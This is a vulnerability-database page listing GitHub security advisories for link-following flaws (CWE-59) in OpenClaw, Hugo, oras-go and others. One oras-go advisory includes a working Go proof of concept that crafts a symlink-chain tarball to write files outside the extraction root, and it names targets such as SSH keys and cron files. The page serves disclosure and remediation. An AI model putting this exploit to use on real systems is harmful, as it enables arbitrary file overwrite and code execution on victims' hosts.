Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

2291 vulnerabilities reference this CWE, most recent first.

GHSA-JXRQ-8FM4-9P58

Vulnerability from github – Published: 2026-03-03 23:09 – Updated: 2026-03-03 23:09
VLAI
Summary
OpenClaw: Zip extraction symlink traversal could write outside destination
Details

Summary

A path confinement bypass in OpenClaw ZIP extraction allowed writes outside the intended destination when a pre-existing symlink was present under the extraction root.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version at triage time: 2026.2.21-2
  • Affected versions: <= 2026.2.21-2
  • Planned patched version for next release: 2026.2.22

Technical Details

The vulnerable path was in src/infra/archive.ts ZIP extraction logic. Output-path checks were lexical, but writes could still traverse an existing symlink in destination path segments.

The fix blocks this by: - rejecting symlink traversal in destination path segments, - validating resolved destination paths remain inside the extraction root, - using no-follow file opens for ZIP output writes where supported, - adding a regression test for pre-seeded destination symlink traversal.

Impact

  • Type: Arbitrary file write outside extraction root via symlink traversal during ZIP extraction.
  • Preconditions: attacker-controlled archive extraction plus pre-existing symlink in destination path.

Fix Commit(s)

  • 4b226b74f5fd3b106a83a6347fd404172e2fd246

Release Process Note

Patched version is pre-set to the planned next release (2026.2.22). Once npm release 2026.2.22 is published, the advisory can be published without further field edits.

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T23:09:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA path confinement bypass in OpenClaw ZIP extraction allowed writes outside the intended destination when a pre-existing symlink was present under the extraction root.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version at triage time: `2026.2.21-2`\n- Affected versions: `\u003c= 2026.2.21-2`\n- Planned patched version for next release: `2026.2.22`\n\n### Technical Details\nThe vulnerable path was in `src/infra/archive.ts` ZIP extraction logic. Output-path checks were lexical, but writes could still traverse an existing symlink in destination path segments.\n\nThe fix blocks this by:\n- rejecting symlink traversal in destination path segments,\n- validating resolved destination paths remain inside the extraction root,\n- using no-follow file opens for ZIP output writes where supported,\n- adding a regression test for pre-seeded destination symlink traversal.\n\n### Impact\n- Type: Arbitrary file write outside extraction root via symlink traversal during ZIP extraction.\n- Preconditions: attacker-controlled archive extraction plus pre-existing symlink in destination path.\n\n### Fix Commit(s)\n- 4b226b74f5fd3b106a83a6347fd404172e2fd246\n\n### Release Process Note\nPatched version is pre-set to the planned next release (`2026.2.22`).\nOnce npm release `2026.2.22` is published, the advisory can be published without further field edits.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-jxrq-8fm4-9p58",
  "modified": "2026-03-03T23:09:31Z",
  "published": "2026-03-03T23:09:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jxrq-8fm4-9p58"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4b226b74f5fd3b106a83a6347fd404172e2fd246"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Zip extraction symlink traversal could write outside destination"
}

GHSA-JXVM-52QC-QCP4

Vulnerability from github – Published: 2026-04-29 15:30 – Updated: 2026-06-06 09:31
VLAI
Details

Improper link resolution before file access ('link following') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus About allows Symlink Attack.

This issue affects Pardus About: before v1.2.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-29T15:16:08Z",
    "severity": "HIGH"
  },
  "details": "Improper link resolution before file access (\u0027link following\u0027) vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus About allows Symlink Attack.\n\nThis issue affects Pardus About: before v1.2.1.",
  "id": "GHSA-jxvm-52qc-qcp4",
  "modified": "2026-06-06T09:31:16Z",
  "published": "2026-04-29T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5161"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0131"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-26-0131"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JXW3-C37C-7RFX

Vulnerability from github – Published: 2023-04-21 21:30 – Updated: 2024-04-04 03:38
VLAI
Details

The SolarWinds Platform was susceptible to the Local Privilege Escalation Vulnerability. This vulnerability allows a local adversary with a valid system user account to escalate local privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-47505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-21T20:15:07Z",
    "severity": "HIGH"
  },
  "details": "The SolarWinds Platform was susceptible to the Local Privilege Escalation Vulnerability. This vulnerability allows a local adversary with a valid system user account to escalate local privileges.",
  "id": "GHSA-jxw3-c37c-7rfx",
  "modified": "2024-04-04T03:38:18Z",
  "published": "2023-04-21T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47505"
    },
    {
      "type": "WEB",
      "url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/solarwinds_platform_2023-2_release_notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/cve-2022-47505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M27F-97WM-9GQR

Vulnerability from github – Published: 2026-05-05 15:31 – Updated: 2026-05-05 15:31
VLAI
Details

A security flaw has been discovered in IObit Advanced SystemCare 19. This affects an unknown part of the file ASC.exe of the component Service. The manipulation results in symlink following. Attacking locally is a requirement. This attack is characterized by high complexity. It is indicated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-05T13:16:31Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in IObit Advanced SystemCare 19. This affects an unknown part of the file ASC.exe of the component Service. The manipulation results in symlink following. Attacking locally is a requirement. This attack is characterized by high complexity. It is indicated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks.",
  "id": "GHSA-m27f-97wm-9gqr",
  "modified": "2026-05-05T15:31:36Z",
  "published": "2026-05-05T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/usernameone101/Writeups/blob/main/IObit%20Zero%20Day%20(Updated%20v2).pdf"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/797630"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/361111"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/361111/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M29Q-9CM9-WCF6

Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31
VLAI
Details

Hugo is a static site generator. In versions after v0.123.0 and before v0.166.0, Hugo's symlink confinement checks stopped at the mount root itself, so a theme or module checked into themes/ (or a vendored module) could contain a symlink at a mount root (for example themes/mytheme/assets -> /some/dir/outside). Files behind such a symlink were readable during a site build through resources.Get, resources.Match and similar functions, and could be published to public/ via static mounts, bypassing the rule that theme and module mount sources must be local paths. Modules fetched via Go modules are not affected because Go module zips cannot contain symlinks, and this is not an escalation for the main project, which may already mount absolute paths by configuration. Fixed in v0.166.0, where symlinked mount roots and symlinked directories between the mount root and the module directory are treated as non-existent for all modules. As a workaround, inspect themes/ and vendored modules for symlinks at mount roots before building, or replace symlinks with explicit mounts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:53Z",
    "severity": "HIGH"
  },
  "details": "Hugo is a static site generator. In versions after v0.123.0 and before v0.166.0, Hugo\u0027s symlink confinement checks stopped at the mount root itself, so a theme or module checked into themes/ (or a vendored module) could contain a symlink at a mount root (for example themes/mytheme/assets -\u003e /some/dir/outside). Files behind such a symlink were readable during a site build through resources.Get, resources.Match and similar functions, and could be published to public/ via static mounts, bypassing the rule that theme and module mount sources must be local paths. Modules fetched via Go modules are not affected because Go module zips cannot contain symlinks, and this is not an escalation for the main project, which may already mount absolute paths by configuration. Fixed in v0.166.0, where symlinked mount roots and symlinked directories between the mount root and the module directory are treated as non-existent for all modules. As a workaround, inspect themes/ and vendored modules for symlinks at mount roots before building, or replace symlinks with explicit mounts.",
  "id": "GHSA-m29q-9cm9-wcf6",
  "modified": "2026-09-26T15:31:21Z",
  "published": "2026-09-26T15:31:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gohugoio/hugo/security/advisories/GHSA-797m-7j5g-3rpr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100692"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hugo-before-0.166.0-path-traversal-via-symlinked-mount-roots"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M2G8-2VHM-M4CX

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

A vulnerability in binary-husky/gpt_academic version git 310122f allows for remote code execution. The application supports the extraction of user-provided RAR files without proper validation. The Python rarfile module, which supports symlinks, can be exploited to perform arbitrary file writes. This can lead to remote code execution by writing to sensitive files such as SSH keys, crontab files, or the application's own code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-475",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:28Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in binary-husky/gpt_academic version git 310122f allows for remote code execution. The application supports the extraction of user-provided RAR files without proper validation. The Python rarfile module, which supports symlinks, can be exploited to perform arbitrary file writes. This can lead to remote code execution by writing to sensitive files such as SSH keys, crontab files, or the application\u0027s own code.",
  "id": "GHSA-m2g8-2vhm-m4cx",
  "modified": "2025-03-20T12:32:43Z",
  "published": "2025-03-20T12:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12390"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/1add2b26-460d-4aa5-8fda-ab045d153177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M37J-52J7-PJW7

Vulnerability from github – Published: 2026-09-17 17:15 – Updated: 2026-09-17 17:15
VLAI
Summary
oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)
Details

Summary

The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.

Details

Affected versions: <= v2.6.1

Entry point: content/file/file.go line 486, (*Store).pushDir — reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.

Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
        // resolve link
        path := target
        if !filepath.IsAbs(target) {
                path = filepath.Join(filepath.Dir(link), target)
        }
        // ensure path is under baseAbs or baseRel
        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
                return "", err
        }
        return target, nil
}

filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.

Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:

// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
                ...
        } else if info.Mode()&os.ModeSymlink != 0 {
                return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
        }
        dir = filepath.Dir(dir)
}

For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.

Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:

file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)

No O_NOFOLLOW, so if path is a symlink the write goes to its target.

Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:

  1. N nested directories <title>/d0/d1/…/d{N-1}.
  2. A symlink <title>/d0/…/d{N-1}/up → "../../…" (N levels). Both lexically and on disk this resolves to baseAbs, so ensureLinkPath accepts it and resolveRelToBase sees only real directories in its ancestry.
  3. A symlink <title>/escape → "d0/…/d{N-1}/up/../../…/<absTarget>" (N .. components after up). Lexically, filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>") cancels the N .. against up plus d{N-2}…d0, yielding baseAbs/d0/<absTarget> — inside the root, so ensureLinkPath accepts it. resolveRelToBase then walks d0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving baseAbs/d0/…/up first follows up back to baseAbs, and the remaining N .. components climb from baseAbs to /, then <absTarget> is appended — the symlink points at the attacker-chosen absolute path.
  4. A regular file <title>/escape (same name). resolveRelToBase("escape") yields dir == "." (root cause 2), so no Lstat is performed. extractTarDirectory (line 181) calls writeFile which opens baseAbs/escape with O_TRUNC and no O_NOFOLLOW (root cause 3), writing the attacker's payload through the symlink to <absTarget>.

Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.

Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.

PoC

go mod init poc
go get oras.land/oras-go/v2@v2.6.1
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main

import (
        "archive/tar"
        "bytes"
        "compress/gzip"
        "context"
        _ "crypto/sha256"
        "fmt"
        "os"
        "path/filepath"
        "strings"

        "github.com/opencontainers/go-digest"
        ocispec "github.com/opencontainers/image-spec/specs-go/v1"
        "oras.land/oras-go/v2/content/file"
)

func main() {
        if err := run(); err != nil {
                fmt.Println("ERROR:", err)
                os.Exit(1)
        }
}

func run() error {
        ctx := context.Background()

        // Victim's working directory for the file store.
        workDir, err := os.MkdirTemp("", "oras-victim-*")
        if err != nil {
                return err
        }
        defer os.RemoveAll(workDir)
        fmt.Println("[*] file.Store working dir:", workDir)

        // Target path the attacker wants to write, OUTSIDE workDir.
        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
        // a temp path keeps the demo self-contained.)
        outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
        _ = os.Remove(outsidePath)
        defer os.Remove(outsidePath)
        fmt.Println("[*] attacker target (outside workDir):", outsidePath)

        // The layer's AnnotationTitle. extractTarDirectory uses this as both the
        // in-tar prefix and the on-disk subdir under workDir.
        const title = "out"
        baseAbs := filepath.Join(workDir, title)

        // N nested dirs + a symlink "up" -> N*"../" so that after the kernel
        // follows "up" (landing at baseAbs) the remaining N lexical ".."
        // components climb from baseAbs to "/". N must be >= depth(baseAbs).
        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
        fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth)

        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)
        if err != nil {
                return err
        }

        // Descriptor exactly as it would appear in a manifest's "layers" array.
        desc := ocispec.Descriptor{
                MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
                Digest:    dgst,
                Size:      size,
                Annotations: map[string]string{
                        ocispec.AnnotationTitle: title,
                        file.AnnotationUnpack:   "true",
                },
        }

        // Victim creates a file store with default settings (path traversal DISALLOWED).
        store, err := file.New(workDir)
        if err != nil {
                return err
        }
        defer store.Close()
        fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)

        // This is exactly what oras.Copy() invokes per layer.
        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
                return fmt.Errorf("Push: %w", err)
        }

        // Check whether the out-of-tree file was written.
        if data, err := os.ReadFile(outsidePath); err == nil {
                rel, _ := filepath.Rel(workDir, outsidePath)
                fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
                fmt.Printf("[!] relative to workDir: %s\n", rel)
                fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
                return nil
        }
        fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
        return nil
}

// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
        var buf bytes.Buffer
        gzw := gzip.NewWriter(&buf)
        tw := tar.NewWriter(gzw)

        // 1. Nested directories: title/d0/d1/.../d{depth-1}
        dirs := make([]string, depth)
        for i := 0; i < depth; i++ {
                dirs[i] = fmt.Sprintf("d%d", i)
        }
        for i := 1; i <= depth; i++ {
                name := title + "/" + strings.Join(dirs[:i], "/")
                if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
                        return nil, "", 0, err
                }
        }

        // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
        upName := title + "/" + strings.Join(dirs, "/") + "/up"
        upTarget := strings.Repeat("../", depth-1) + ".."
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
                return nil, "", 0, err
        }

        // 3. "escape" symlink at title/escape.
        //    Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
        //    LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
        //      d0/<outsidePath>  - INSIDE baseAbs, so ensureLinkPath accepts it.
        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
        //      climbs to "/", then appends outsidePath.
        dots := strings.Repeat("../", depth-1) + ".."
        escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
                return nil, "", 0, err
        }

        // 4. Regular file entry at title/escape - same path as the symlink.
        //    resolveRelToBase("escape") has dir=="." so the per-component Lstat
        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
        //    O_NOFOLLOW) and writes through the symlink to outsidePath.
        payload := []byte("PWNED-BY-ORAS-TARSLIP")
        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
                return nil, "", 0, err
        }
        if _, err := tw.Write(payload); err != nil {
                return nil, "", 0, err
        }

        if err := tw.Close(); err != nil {
                return nil, "", 0, err
        }
        if err := gzw.Close(); err != nil {
                return nil, "", 0, err
        }

        data := buf.Bytes()
        return data, digest.FromBytes(data), int64(len(data)), nil
}

Expected output (paths vary):

[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false

[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir

Impact

Who is affected: Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a content/file.Store — e.g. oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts), the documented primary use of the file store — with default settings (AllowPathTraversalOnWrite=false, SkipUnpack=false). Downstream consumers include the ORAS CLI (oras pull to a directory) and tools built on oras-go that materialise artifact contents on disk.

What the attacker gains: Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting ~/.ssh/authorized_keys, ~/.bashrc/~/.profile, Git hooks, or (when running as root, e.g. in CI or a controller) /etc/cron.d/* or binaries on $PATH — i.e. remote code execution on the victim host.

Preconditions / reachability: No local preconditions beyond pulling an attacker-controlled artifact; the attacker does not need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (UI:R).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.6.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "oras.land/oras-go/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:57Z",
    "nvd_published_at": "2026-09-16T17:18:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store\u0027s working directory under the default `AllowPathTraversalOnWrite=false` configuration \u2014 a canonical tar-slip \u2192 RCE primitive.\n\n### Details\n**Affected versions:** `\u003c= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` \u2014 reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 \u2014 lexical link validation.** `content/file/utils.go` lines 264\u2013275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n        // resolve link\n        path := target\n        if !filepath.IsAbs(target) {\n                path = filepath.Join(filepath.Dir(link), target)\n        }\n        // ensure path is under baseAbs or baseRel\n        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n                return \"\", err\n        }\n        return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 \u2014 parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247\u2013257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n                ...\n        } else if info.Mode()\u0026os.ModeSymlink != 0 {\n                return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n        }\n        dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named `\u003ctitle\u003e/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes \u2014 the entry itself is never `Lstat`-checked.\n\n**Root cause 3 \u2014 write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = \u003cworkingDir\u003e/\u003ctitle\u003e` and `N = depth(baseAbs)` (number of path components from `/`). The attacker\u0027s tar.gz contains, in order:\n\n1. `N` nested directories `\u003ctitle\u003e/d0/d1/\u2026/d{N-1}`.\n2. A symlink `\u003ctitle\u003e/d0/\u2026/d{N-1}/up` \u2192 `\"../../\u2026\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `\u003ctitle\u003e/escape` \u2192 `\"d0/\u2026/d{N-1}/up/../../\u2026/\u003cabsTarget\u003e\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/\u2026/up/../\u2026/\u003cabsTarget\u003e\")` cancels the `N` `..` against `up` plus `d{N-2}\u2026d0`, yielding `baseAbs/d0/\u003cabsTarget\u003e` \u2014 inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/\u003cabsTarget-parents\u003e`, none of which are symlinks (they don\u0027t exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/\u2026/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `\u003cabsTarget\u003e` is appended \u2014 the symlink points at the attacker-chosen absolute path.\n4. A regular file `\u003ctitle\u003e/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the 